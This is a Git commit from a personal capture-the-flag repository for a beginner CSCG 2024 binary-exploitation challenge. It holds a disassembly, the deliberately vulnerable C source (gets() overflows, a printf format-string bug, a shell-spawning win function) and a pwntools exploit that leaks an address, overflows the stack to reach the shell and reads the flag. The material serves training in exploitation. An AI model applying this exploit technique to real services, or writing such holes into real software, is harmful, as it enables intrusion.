cato447/ctf
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

solved task

Browse Source
This commit is contained in:
cato447
2024-03-02 02:03:58 +01:00
parent 18d7cb1882
commit 4993c1ff1d
4 changed files with 408 additions and 36 deletions
Download Patch File Download Diff File Expand all files Collapse all files

345
cscg24/pwn/intro-pwn-1/dump.txt Normal file
View File

@@ -0,0 +1,345 @@
pwn1: file format elf64-x86-64
Disassembly of section .init:
0000000000000768 <_init>:
768: 48 83 ec 08 sub rsp,0x8
76c: 48 8b 05 75 18 20 00 mov rax,QWORD PTR [rip+0x201875] # 201fe8 <__gmon_start__>
773: 48 85 c0 test rax,rax
776: 74 02 je 77a <_init+0x12>
778: ff d0 call rax
77a: 48 83 c4 08 add rsp,0x8
77e: c3 ret
Disassembly of section .plt:
0000000000000780 <.plt>:
780: ff 35 fa 17 20 00 push QWORD PTR [rip+0x2017fa] # 201f80 <_GLOBAL_OFFSET_TABLE_+0x8>
786: ff 25 fc 17 20 00 jmp QWORD PTR [rip+0x2017fc] # 201f88 <_GLOBAL_OFFSET_TABLE_+0x10>
78c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000000790 <_exit@plt>:
790: ff 25 fa 17 20 00 jmp QWORD PTR [rip+0x2017fa] # 201f90 <_exit@GLIBC_2.2.5>
796: 68 00 00 00 00 push 0x0
79b: e9 e0 ff ff ff jmp 780 <.plt>
00000000000007a0 <puts@plt>:
7a0: ff 25 f2 17 20 00 jmp QWORD PTR [rip+0x2017f2] # 201f98 <puts@GLIBC_2.2.5>
7a6: 68 01 00 00 00 push 0x1
7ab: e9 d0 ff ff ff jmp 780 <.plt>
00000000000007b0 <system@plt>:
7b0: ff 25 ea 17 20 00 jmp QWORD PTR [rip+0x2017ea] # 201fa0 <system@GLIBC_2.2.5>
7b6: 68 02 00 00 00 push 0x2
7bb: e9 c0 ff ff ff jmp 780 <.plt>
00000000000007c0 <printf@plt>:
7c0: ff 25 e2 17 20 00 jmp QWORD PTR [rip+0x2017e2] # 201fa8 <printf@GLIBC_2.2.5>
7c6: 68 03 00 00 00 push 0x3
7cb: e9 b0 ff ff ff jmp 780 <.plt>
00000000000007d0 <alarm@plt>:
7d0: ff 25 da 17 20 00 jmp QWORD PTR [rip+0x2017da] # 201fb0 <alarm@GLIBC_2.2.5>
7d6: 68 04 00 00 00 push 0x4
7db: e9 a0 ff ff ff jmp 780 <.plt>
00000000000007e0 <strcmp@plt>:
7e0: ff 25 d2 17 20 00 jmp QWORD PTR [rip+0x2017d2] # 201fb8 <strcmp@GLIBC_2.2.5>
7e6: 68 05 00 00 00 push 0x5
7eb: e9 90 ff ff ff jmp 780 <.plt>
00000000000007f0 <signal@plt>:
7f0: ff 25 ca 17 20 00 jmp QWORD PTR [rip+0x2017ca] # 201fc0 <signal@GLIBC_2.2.5>
7f6: 68 06 00 00 00 push 0x6
7fb: e9 80 ff ff ff jmp 780 <.plt>
0000000000000800 <gets@plt>:
800: ff 25 c2 17 20 00 jmp QWORD PTR [rip+0x2017c2] # 201fc8 <gets@GLIBC_2.2.5>
806: 68 07 00 00 00 push 0x7
80b: e9 70 ff ff ff jmp 780 <.plt>
0000000000000810 <setvbuf@plt>:
810: ff 25 ba 17 20 00 jmp QWORD PTR [rip+0x2017ba] # 201fd0 <setvbuf@GLIBC_2.2.5>
816: 68 08 00 00 00 push 0x8
81b: e9 60 ff ff ff jmp 780 <.plt>
Disassembly of section .plt.got:
0000000000000820 <__cxa_finalize@plt>:
820: ff 25 d2 17 20 00 jmp QWORD PTR [rip+0x2017d2] # 201ff8 <__cxa_finalize@GLIBC_2.2.5>
826: 66 90 xchg ax,ax
Disassembly of section .text:
0000000000000830 <_start>:
830: 31 ed xor ebp,ebp
832: 49 89 d1 mov r9,rdx
835: 5e pop rsi
836: 48 89 e2 mov rdx,rsp
839: 48 83 e4 f0 and rsp,0xfffffffffffffff0
83d: 50 push rax
83e: 54 push rsp
83f: 4c 8d 05 5a 03 00 00 lea r8,[rip+0x35a] # ba0 <__libc_csu_fini>
846: 48 8d 0d e3 02 00 00 lea rcx,[rip+0x2e3] # b30 <__libc_csu_init>
84d: 48 8d 3d a0 02 00 00 lea rdi,[rip+0x2a0] # af4 <main>
854: ff 15 86 17 20 00 call QWORD PTR [rip+0x201786] # 201fe0 <__libc_start_main@GLIBC_2.2.5>
85a: f4 hlt
85b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
0000000000000860 <deregister_tm_clones>:
860: 48 8d 3d a9 17 20 00 lea rdi,[rip+0x2017a9] # 202010 <__TMC_END__>
867: 55 push rbp
868: 48 8d 05 a1 17 20 00 lea rax,[rip+0x2017a1] # 202010 <__TMC_END__>
86f: 48 39 f8 cmp rax,rdi
872: 48 89 e5 mov rbp,rsp
875: 74 19 je 890 <deregister_tm_clones+0x30>
877: 48 8b 05 5a 17 20 00 mov rax,QWORD PTR [rip+0x20175a] # 201fd8 <_ITM_deregisterTMCloneTable>
87e: 48 85 c0 test rax,rax
881: 74 0d je 890 <deregister_tm_clones+0x30>
883: 5d pop rbp
884: ff e0 jmp rax
886: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
88d: 00 00 00
890: 5d pop rbp
891: c3 ret
892: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
896: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
89d: 00 00 00
00000000000008a0 <register_tm_clones>:
8a0: 48 8d 3d 69 17 20 00 lea rdi,[rip+0x201769] # 202010 <__TMC_END__>
8a7: 48 8d 35 62 17 20 00 lea rsi,[rip+0x201762] # 202010 <__TMC_END__>
8ae: 55 push rbp
8af: 48 29 fe sub rsi,rdi
8b2: 48 89 e5 mov rbp,rsp
8b5: 48 c1 fe 03 sar rsi,0x3
8b9: 48 89 f0 mov rax,rsi
8bc: 48 c1 e8 3f shr rax,0x3f
8c0: 48 01 c6 add rsi,rax
8c3: 48 d1 fe sar rsi,1
8c6: 74 18 je 8e0 <register_tm_clones+0x40>
8c8: 48 8b 05 21 17 20 00 mov rax,QWORD PTR [rip+0x201721] # 201ff0 <_ITM_registerTMCloneTable>
8cf: 48 85 c0 test rax,rax
8d2: 74 0c je 8e0 <register_tm_clones+0x40>
8d4: 5d pop rbp
8d5: ff e0 jmp rax
8d7: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
8de: 00 00
8e0: 5d pop rbp
8e1: c3 ret
8e2: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
8e6: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
8ed: 00 00 00
00000000000008f0 <__do_global_dtors_aux>:
8f0: 80 3d 51 17 20 00 00 cmp BYTE PTR [rip+0x201751],0x0 # 202048 <completed.7698>
8f7: 75 2f jne 928 <__do_global_dtors_aux+0x38>
8f9: 48 83 3d f7 16 20 00 cmp QWORD PTR [rip+0x2016f7],0x0 # 201ff8 <__cxa_finalize@GLIBC_2.2.5>
900: 00
901: 55 push rbp
902: 48 89 e5 mov rbp,rsp
905: 74 0c je 913 <__do_global_dtors_aux+0x23>
907: 48 8b 3d fa 16 20 00 mov rdi,QWORD PTR [rip+0x2016fa] # 202008 <__dso_handle>
90e: e8 0d ff ff ff call 820 <__cxa_finalize@plt>
913: e8 48 ff ff ff call 860 <deregister_tm_clones>
918: c6 05 29 17 20 00 01 mov BYTE PTR [rip+0x201729],0x1 # 202048 <completed.7698>
91f: 5d pop rbp
920: c3 ret
921: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
928: f3 c3 repz ret
92a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
0000000000000930 <frame_dummy>:
930: 55 push rbp
931: 48 89 e5 mov rbp,rsp
934: 5d pop rbp
935: e9 66 ff ff ff jmp 8a0 <register_tm_clones>
000000000000093a <ignore_me_init_buffering>:
93a: 55 push rbp
93b: 48 89 e5 mov rbp,rsp
93e: 48 8b 05 db 16 20 00 mov rax,QWORD PTR [rip+0x2016db] # 202020 <stdout@GLIBC_2.2.5>
945: b9 00 00 00 00 mov ecx,0x0
94a: ba 02 00 00 00 mov edx,0x2
94f: be 00 00 00 00 mov esi,0x0
954: 48 89 c7 mov rdi,rax
957: e8 b4 fe ff ff call 810 <setvbuf@plt>
95c: 48 8b 05 cd 16 20 00 mov rax,QWORD PTR [rip+0x2016cd] # 202030 <stdin@GLIBC_2.2.5>
963: b9 00 00 00 00 mov ecx,0x0
968: ba 02 00 00 00 mov edx,0x2
96d: be 00 00 00 00 mov esi,0x0
972: 48 89 c7 mov rdi,rax
975: e8 96 fe ff ff call 810 <setvbuf@plt>
97a: 48 8b 05 bf 16 20 00 mov rax,QWORD PTR [rip+0x2016bf] # 202040 <stderr@GLIBC_2.2.5>
981: b9 00 00 00 00 mov ecx,0x0
986: ba 02 00 00 00 mov edx,0x2
98b: be 00 00 00 00 mov esi,0x0
990: 48 89 c7 mov rdi,rax
993: e8 78 fe ff ff call 810 <setvbuf@plt>
998: 90 nop
999: 5d pop rbp
99a: c3 ret
000000000000099b <kill_on_timeout>:
99b: 55 push rbp
99c: 48 89 e5 mov rbp,rsp
99f: 48 83 ec 10 sub rsp,0x10
9a3: 89 7d fc mov DWORD PTR [rbp-0x4],edi
9a6: 83 7d fc 0e cmp DWORD PTR [rbp-0x4],0xe
9aa: 75 1b jne 9c7 <kill_on_timeout+0x2c>
9ac: 48 8d 3d 05 02 00 00 lea rdi,[rip+0x205] # bb8 <_IO_stdin_used+0x8>
9b3: b8 00 00 00 00 mov eax,0x0
9b8: e8 03 fe ff ff call 7c0 <printf@plt>
9bd: bf 00 00 00 00 mov edi,0x0
9c2: e8 c9 fd ff ff call 790 <_exit@plt>
9c7: 90 nop
9c8: c9 leave
9c9: c3 ret
00000000000009ca <ignore_me_init_signal>:
9ca: 55 push rbp
9cb: 48 89 e5 mov rbp,rsp
9ce: 48 8d 35 c6 ff ff ff lea rsi,[rip+0xffffffffffffffc6] # 99b <kill_on_timeout>
9d5: bf 0e 00 00 00 mov edi,0xe
9da: e8 11 fe ff ff call 7f0 <signal@plt>
9df: bf 3c 00 00 00 mov edi,0x3c
9e4: e8 e7 fd ff ff call 7d0 <alarm@plt>
9e9: 90 nop
9ea: 5d pop rbp
9eb: c3 ret
00000000000009ec <WINgardium_leviosa>:
9ec: 55 push rbp
9ed: 48 89 e5 mov rbp,rsp
9f0: 48 8d 3d f1 01 00 00 lea rdi,[rip+0x1f1] # be8 <_IO_stdin_used+0x38>
9f7: e8 a4 fd ff ff call 7a0 <puts@plt>
9fc: 48 8d 3d 31 02 00 00 lea rdi,[rip+0x231] # c34 <_IO_stdin_used+0x84>
a03: e8 98 fd ff ff call 7a0 <puts@plt>
a08: 48 8d 3d 49 02 00 00 lea rdi,[rip+0x249] # c58 <_IO_stdin_used+0xa8>
a0f: e8 8c fd ff ff call 7a0 <puts@plt>
a14: 48 8d 3d 89 02 00 00 lea rdi,[rip+0x289] # ca4 <_IO_stdin_used+0xf4>
a1b: e8 90 fd ff ff call 7b0 <system@plt>
a20: 90 nop
a21: 5d pop rbp
a22: c3 ret
0000000000000a23 <welcome>:
a23: 55 push rbp
a24: 48 89 e5 mov rbp,rsp
a27: 48 81 ec 00 01 00 00 sub rsp,0x100
a2e: 48 8d 3d 77 02 00 00 lea rdi,[rip+0x277] # cac <_IO_stdin_used+0xfc>
a35: e8 66 fd ff ff call 7a0 <puts@plt>
a3a: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
a41: 48 89 c7 mov rdi,rax
a44: b8 00 00 00 00 mov eax,0x0
a49: e8 b2 fd ff ff call 800 <gets@plt>
a4e: 48 8d 3d 93 01 00 00 lea rdi,[rip+0x193] # be8 <_IO_stdin_used+0x38>
a55: e8 46 fd ff ff call 7a0 <puts@plt>
a5a: 48 8d 3d 62 02 00 00 lea rdi,[rip+0x262] # cc3 <_IO_stdin_used+0x113>
a61: e8 3a fd ff ff call 7a0 <puts@plt>
a66: 48 8d 3d eb 01 00 00 lea rdi,[rip+0x1eb] # c58 <_IO_stdin_used+0xa8>
a6d: e8 2e fd ff ff call 7a0 <puts@plt>
a72: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
a79: 48 89 c7 mov rdi,rax
a7c: b8 00 00 00 00 mov eax,0x0
a81: e8 3a fd ff ff call 7c0 <printf@plt>
a86: 90 nop
a87: c9 leave
a88: c3 ret
0000000000000a89 <AAAAAAAA>:
a89: 55 push rbp
a8a: 48 89 e5 mov rbp,rsp
a8d: 48 81 ec 00 01 00 00 sub rsp,0x100
a94: 48 8d 3d 46 02 00 00 lea rdi,[rip+0x246] # ce1 <_IO_stdin_used+0x131>
a9b: e8 00 fd ff ff call 7a0 <puts@plt>
aa0: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
aa7: 48 89 c7 mov rdi,rax
aaa: b8 00 00 00 00 mov eax,0x0
aaf: e8 4c fd ff ff call 800 <gets@plt>
ab4: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100]
abb: 48 8d 35 38 02 00 00 lea rsi,[rip+0x238] # cfa <_IO_stdin_used+0x14a>
ac2: 48 89 c7 mov rdi,rax
ac5: e8 16 fd ff ff call 7e0 <strcmp@plt>
aca: 85 c0 test eax,eax
acc: 75 0e jne adc <AAAAAAAA+0x53>
ace: 48 8d 3d 32 02 00 00 lea rdi,[rip+0x232] # d07 <_IO_stdin_used+0x157>
ad5: e8 c6 fc ff ff call 7a0 <puts@plt>
ada: eb 16 jmp af2 <AAAAAAAA+0x69>
adc: 48 8d 3d 2f 02 00 00 lea rdi,[rip+0x22f] # d12 <_IO_stdin_used+0x162>
ae3: e8 b8 fc ff ff call 7a0 <puts@plt>
ae8: bf 00 00 00 00 mov edi,0x0
aed: e8 9e fc ff ff call 790 <_exit@plt>
af2: c9 leave
af3: c3 ret
0000000000000af4 <main>:
af4: 55 push rbp
af5: 48 89 e5 mov rbp,rsp
af8: 48 83 ec 10 sub rsp,0x10
afc: 89 7d fc mov DWORD PTR [rbp-0x4],edi
aff: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
b03: b8 00 00 00 00 mov eax,0x0
b08: e8 2d fe ff ff call 93a <ignore_me_init_buffering>
b0d: b8 00 00 00 00 mov eax,0x0
b12: e8 b3 fe ff ff call 9ca <ignore_me_init_signal>
b17: b8 00 00 00 00 mov eax,0x0
b1c: e8 02 ff ff ff call a23 <welcome>
b21: b8 00 00 00 00 mov eax,0x0
b26: e8 5e ff ff ff call a89 <AAAAAAAA>
b2b: 90 nop
b2c: c9 leave
b2d: c3 ret
b2e: 66 90 xchg ax,ax
0000000000000b30 <__libc_csu_init>:
b30: 41 57 push r15
b32: 41 56 push r14
b34: 49 89 d7 mov r15,rdx
b37: 41 55 push r13
b39: 41 54 push r12
b3b: 4c 8d 25 36 12 20 00 lea r12,[rip+0x201236] # 201d78 <__frame_dummy_init_array_entry>
b42: 55 push rbp
b43: 48 8d 2d 36 12 20 00 lea rbp,[rip+0x201236] # 201d80 <__do_global_dtors_aux_fini_array_entry>
b4a: 53 push rbx
b4b: 41 89 fd mov r13d,edi
b4e: 49 89 f6 mov r14,rsi
b51: 4c 29 e5 sub rbp,r12
b54: 48 83 ec 08 sub rsp,0x8
b58: 48 c1 fd 03 sar rbp,0x3
b5c: e8 07 fc ff ff call 768 <_init>
b61: 48 85 ed test rbp,rbp
b64: 74 20 je b86 <__libc_csu_init+0x56>
b66: 31 db xor ebx,ebx
b68: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
b6f: 00
b70: 4c 89 fa mov rdx,r15
b73: 4c 89 f6 mov rsi,r14
b76: 44 89 ef mov edi,r13d
b79: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
b7d: 48 83 c3 01 add rbx,0x1
b81: 48 39 dd cmp rbp,rbx
b84: 75 ea jne b70 <__libc_csu_init+0x40>
b86: 48 83 c4 08 add rsp,0x8
b8a: 5b pop rbx
b8b: 5d pop rbp
b8c: 41 5c pop r12
b8e: 41 5d pop r13
b90: 41 5e pop r14
b92: 41 5f pop r15
b94: c3 ret
b95: 90 nop
b96: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
b9d: 00 00 00
0000000000000ba0 <__libc_csu_fini>:
ba0: f3 c3 repz ret
Disassembly of section .fini:
0000000000000ba4 <_fini>:
ba4: 48 83 ec 08 sub rsp,0x8
ba8: 48 83 c4 08 add rsp,0x8
bac: c3 ret

29
cscg24/pwn/intro-pwn-1/exploit.py Normal file
View File

@@ -0,0 +1,29 @@
from pwn import *
import re
from sys import exit
ret_sled = 0x9eb
win_func_offset = 0x9ec
#with remote("b037e7ec4c1207e6b54007fb-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True) as p:
with remote("localhost", 1024, fam="ipv4") as p:
p.recvuntil(b":")
p.sendline(b"%37$p")
data = p.recvuntil(b":")
memory_address_pattern = r"0x[0-9a-fA-F]+"
memory_address = re.search(memory_address_pattern,data.decode('utf-8'))
if memory_address:
memory_address = int(memory_address.group(),16)
else:
log.error("Couldn't leak memory address")
exit(-1)
log.info(f"leaked address: {hex(memory_address)}")
win_address = (memory_address & 0xFFFFFFFFFFFFF000) | win_func_offset
log.info(f"win func addr: {hex(win_address)}")
payload = b"Expelliarmus" + b"\x00"
payload += b"A" * (0x108 - len(payload))
payload += p64((memory_address & 0xFFFFFFFFFFFFF000) | ret_sled)
payload += p64(win_address)
p.sendline(payload)
p.sendline(b"cat flag")
log.info(p.clean())

0
cscg24/pwn/intro-pwn-1/flag Normal file → Executable file
View File

68
cscg24/pwn/intro-pwn-1/pwn1.c
View File

@@ -1,70 +1,68 @@
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
// pwn1: gcc pwn1.c -o pwn1
// --------------------------------------------------- SETUP
void ignore_me_init_buffering() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void kill_on_timeout(int sig) {
if (sig == SIGALRM) {
printf("[!] Anti DoS Signal. Patch me out for testing.");
printf("[!] Anti DoS Signal. Patch me out for testing.");
_exit(0);
}
}
void ignore_me_init_signal() {
signal(SIGALRM, kill_on_timeout);
alarm(60);
signal(SIGALRM, kill_on_timeout);
alarm(60);
}
// --------------------------------------------------- MENU
void WINgardium_leviosa() {
printf("┌───────────────────────┐\n");
printf("│ You are a Slytherin.. │\n");
printf("└───────────────────────┘\n");
system("/bin/sh");
printf("┌───────────────────────┐\n");
printf("│ You are a Slytherin.. │\n");
printf("└───────────────────────┘\n");
system("/bin/sh");
}
void welcome() {
char read_buf[0xff];
printf("Enter your witch name:\n");
gets(read_buf);
printf("┌───────────────────────┐\n");
printf("│ You are a Hufflepuff! │\n");
printf("└───────────────────────┘\n");
printf(read_buf);
char read_buf[0xff];
printf("Enter your witch name:\n");
gets(read_buf);
printf("┌───────────────────────┐\n");
printf("│ You are a Hufflepuff! │\n");
printf("└───────────────────────┘\n");
printf(read_buf);
}
void AAAAAAAA() {
char read_buf[0xff];
char read_buf[0xff];
printf(" enter your magic spell:\n");
gets(read_buf);
if(strcmp(read_buf, "Expelliarmus") == 0) {
printf("~ Protego!\n");
} else {
printf("-10 Points for Hufflepuff!\n");
_exit(0);
}
printf(" enter your magic spell:\n");
gets(read_buf);
if (strcmp(read_buf, "Expelliarmus") == 0) {
printf("~ Protego!\n");
} else {
printf("-10 Points for Hufflepuff!\n");
_exit(0);
}
}
// --------------------------------------------------- MAIN
void main(int argc, char* argv[]) {
ignore_me_init_buffering();
ignore_me_init_signal();
void main(int argc, char *argv[]) {
ignore_me_init_buffering();
ignore_me_init_signal();
welcome();
AAAAAAAA();
welcome();
AAAAAAAA();
}